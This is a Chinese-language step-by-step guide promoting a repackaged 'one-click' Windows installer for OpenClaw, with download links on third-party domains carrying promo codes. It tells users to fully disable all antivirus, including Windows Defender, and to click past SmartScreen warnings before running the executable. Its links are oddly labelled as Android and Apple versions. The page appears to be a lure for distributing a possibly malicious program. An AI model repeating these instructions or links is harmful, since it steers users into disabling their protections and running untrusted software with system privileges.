新手一看就会|OpenClaw 安装配置完整实操指南
OpenClaw 一键部署工具,图形化界面简化环境搭建,告别复杂配置 ✨适配系统:Windows10 /11 64 位 当前版本:v2.7.9(虾壳云版) ✨工具亮点:全程图形化操作,无需命令代码,不用手动配置各类运行环境,自带全套依赖组件,短短几分钟就能完成部署,零基础用户也能轻松上手。
安卓版本: https://xiake.yun/api/download/package/18?promoCode=IV4E9B04A80C
苹果系统版本:https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C
🔔安装必看前置说明
在下载、解压以及运行程序前,请彻底关闭电脑中所有安全防护工具,包括 360 安全卫士、360 杀毒、腾讯电脑管家、火绒以及 Windows Defender 实时防护功能。 该工具需要获取系统权限,完成文件读写、模拟键鼠等操作,很容易被安全软件判定为风险程序,一旦核心文件被拦截或删除,就会造成安装失败。OpenClaw 属于开源项目,大家可前往 GitHub 核验安全性,关闭防护软件后再进行操作即可正常使用。
📥 第一步:获取对应系统安装包
根据自身使用的设备类型,选择下方对应链接下载安装包:
安卓版本: https://xiake.yun/api/download/package/18?promoCode=IV4E9B04A80C
苹果系统版本:https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C
进入下载页面后,点击下载按钮即可获取文件。安装包大小约 45.8MB,推荐使用浏览器自带下载工具或者迅雷进行下载,能有效防止下载中断、文件残缺等问题。下载完成后,在桌面或者浏览器默认下载目录中找到压缩包文件。
📂 第二步:解压文件并启动安装程序
优先选用 WinRAR、7-Zip 等专业解压软件处理压缩包,不建议使用系统自带解压功能,避免文件损坏缺失。右键点击压缩包,选择解压到当前文件夹,完成后会生成Openclaw-win文件夹。
打开解压后的文件夹,找到名为「Openclaw Windows 一键启动.exe」的程序,该程序带有红色龙虾图标,辨识度很高。双击启动程序,若弹出 Windows SmartScreen 安全拦截窗口,依次点击更多信息、仍要运行即可继续。
程序启动后会弹出欢迎界面,点击页面底部红色的「开始使用」按钮,进入安装位置选择页面。
安装路径规范要求
- 安装目录必须使用纯英文字符,禁止出现中文、空格以及各类特殊符号;
- 不建议将程序安装在 C 盘系统盘,避免占用系统存储空间,影响电脑运行速度;
- 推荐路径示例:
D:\OpenClaw、E:\AI\OpenClaw - 错误路径示例:
D:\办公工具\OpenClaw、D:\小龙虾助手
勾选同意《用户协议》与《免责声明》,确认路径无误后,点击「开始安装」。
⏳ 第三步:等待自动部署完成
点击安装按钮后,程序会自动执行全部部署流程,全程不需要人为操作。根据电脑硬件配置差异,整个过程大概需要 3-5 分钟。部署期间切勿关闭窗口,否则会直接中断安装,需要重新操作。
自动部署包含多项工作:自动检测系统运行环境,补齐 Git、Node.js、Python 等必备依赖;部署 OpenClaw 2.7.9 核心程序文件并完成系统适配;安装浏览器操控、键鼠模拟等自动化组件;生成专属配置文件,同时自动创建桌面快捷方式。
当安装进度走完后,程序会自动拉起软件主界面。
✅ 第四步:完成初始化,确认部署成功
软件启动后会进入初始化页面,界面提示正在等待 Gateway 服务就绪。第一次启动时服务需要加载初始化,等待 1-3 分钟属于正常情况,后续启动速度会明显加快。
当界面右上角显示「Gateway 在线」,就代表部署全部完成。下面为大家介绍界面各个区域功能:
- 右上角区域:展示 Gateway 运行状态,提供重启、刷新、日志查看等功能,同时显示可用 Tokens 额度;
- 左侧栏目:可切换本地会话、渠道会话,支持新建对话与查看历史聊天记录;
- 中间区域:对话交互窗口,内置 AI 智能助手,支持多模型切换与代码高亮展示;
- 底部输入框:用于输入指令,按下 Enter 发送内容,Shift+Enter 实现换行,还可自由切换运行模式。
🚀 第五步:上手体验,发送自动化指令
部署完成后无需额外配置,直接在底部输入框输入自然语言指令,软件就会自动拆解任务、调用工具并操控电脑执行操作。指令描述越细致,任务执行效果越精准。
实用测试指令(可直接复制使用)
- 整理 D 盘下载目录内的所有文件,按照文件类型分类并新建对应文件夹存放
- 打开记事本,输入内容 “OpenClaw 部署成功”,将文件保存至电脑桌面
- 查看当前电脑各个磁盘的剩余空间,并整理成文字内容展示
⚠️ 常见问题排查指南
1. 安装失败、点击启动无响应
检查所有安全软件是否已经彻底关闭。若防护工具全部关闭后依旧无法安装,建议重新解压安装包再次尝试。
2. Gateway 持续显示离线状态
第一,检查安装路径是否为纯英文,清理路径内的中文、空格与特殊符号;第二,点击界面右上角重启按钮,重新启动 Gateway 服务;第三,以上方法无效时,关闭软件,使用管理员身份重新运行启动程序。
3. 启动提示网络错误
第一次启动需要联网完成部分依赖初始化,请保证网络正常,关闭代理、VPN 工具后重新尝试。
4. Tokens 额度不足
软件自带基础使用额度,能够满足日常体验需求。额度用完后可在界面内进行补充,不会影响软件核心自动化功能使用。
5. 无法输入内容、发送指令无反应
等待 Gateway 服务完成初始化,直至状态显示为在线再进行操作。问题反复出现时,建议重新安装软件。
💡 使用小建议
- 尽量选择剩余空间 5G 以上的磁盘分区进行安装,为后续功能拓展、模型缓存预留空间;
- 桌面会自动生成快捷方式,后续打开软件直接双击快捷方式即可,无需重复安装;
- 想要联动微信、飞书等通讯软件,可进入主界面「设置」-「聊天渠道」完成配置,实现在聊天软件中下发指令;
- 后续版本更新时,直接下载新版安装包覆盖原有文件夹即可,不需要卸载旧版本。
安装包下载地址
安卓版本: https://xiake.yun/api/download/package/18?promoCode=IV4E9B04A80C
苹果系统版本:https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C